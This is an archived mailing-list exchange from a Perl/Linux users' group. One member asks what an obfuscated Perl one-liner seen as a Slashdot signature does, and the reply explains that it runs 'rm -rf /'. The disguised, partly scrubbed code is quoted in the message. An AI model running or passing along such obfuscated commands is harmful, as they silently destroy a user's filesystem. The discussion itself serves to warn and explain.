"rm -rf /" A good explanation resides at:
http://www.talkaboutprogramming.com/group/comp.lang.perl.misc/messages/4 80895.html #################################### ### Jesse Stay ### ### Lead Applications Developer ### ### IMD Classifieds ### ### Media General, Inc. ### ### (804)649-6534 ### #################################### #!/usr/bin/perl $^=q;@!>~|{>krw>yn{u<$$<Sn||n<|}j=<$$<Yn{u<Qjltn{ > 0gFzD gD, 00Fz, 0,,( 0hF 0g)F/=, 0> "L$/GEIFewe{,$/ 0C$~> "@=,m,|,(e 0.), 01,pnn,y{ rw} >;,$0=q,$,,($_=$^)=~y,$/ C-~><@=\n\r,-~$:-u/ #y,d,s,(\$.),$1,gee,print > -----Original Message----- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On > Behalf Of Gabriel Gunderson > Sent: Monday, April 18, 2005 2:20 PM > To: [email protected] > Subject: perls before /. swine > > I came across a sig on /. that caught my eye. I guess it is > supposed to be malicious code. I took the perl -e off the > front so nobody will run it. What does it do? > > '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:[EMAIL PROTECTED];`-{~" > -;;s;;$_;see' > > One thing is for sure, it reinforces the idea that perl can > be cryptic. > > Gabe > > .===================================. > | This has been a P.L.U.G. mailing. | > | Don't Fear the Penguin. | > | IRC: #utah at irc.freenode.net | > `===================================' > .===================================. | This has been a P.L.U.G. mailing. | | Don't Fear the Penguin. | | IRC: #utah at irc.freenode.net | `==================================='
